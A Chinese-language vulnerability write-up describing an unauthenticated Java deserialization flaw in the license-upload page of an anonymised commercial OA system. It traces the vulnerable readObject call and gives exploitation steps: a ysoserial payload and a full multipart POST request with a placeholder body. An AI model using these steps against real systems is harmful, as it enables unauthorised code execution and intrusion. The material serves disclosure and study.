一个商业开源oa的反序列化

跟着src/main/java/com/xxx/oa/controller/IndexController.java转到index.jsp

跟着index.jsp转到license.jsp,在该文件里有一个上传激活文件

并且将上传的文件复制到WEB-INF/license.dat,随后调用Licenseinit方法载入激活许可

根据前面引用的包跟进License类的init方法查看如何处理激活文件

src/main/java/com/xxx/oa/kernel/License.java
在该方法里会调用到verify方法

verify方法中:

直接获取激活文件封装为ObjectInputStream,并调用了对象输入流的readObject方法,通过反序列化生成的恶意文件来触发漏洞

漏洞验证

漏洞url:结合未授权访问
http://localhost:8088/xxx/xxx/license.jsp

首先使用ysoserial利用链生成一个利用文件

回到漏洞页面,选择刚刚ysoserial生成的文件上传即可触发漏洞

1
2
3
4
5
6
7
8
9
10
11
12
13
POST /xxx/xxx/license.jsp?op=upload HTTP/1.1
Host: 172.20.10.14:8088
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarytff7LLxYKC4UNQBS
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.71 Safari/537.36
Connection: close
Content-Length: 481

------WebKitFormBoundarytff7LLxYKC4UNQBS
Content-Disposition: form-data; name="attachment0"; filename="123.dat"
Content-Type: application/octet-stream

生成的二进制数据内容
------WebKitFormBoundarytff7LLxYKC4UNQBS--


声明:
本文章用于学习交流,严禁用于非法操作,出现后果一切自行承担,阅读此文章表示你已同意本声明。

Disclaimer:
This article is for study and communication. It is strictly forbidden to use it for illegal operations. All consequences shall be borne by yourself. Reading this article means that you have agreed to this statement.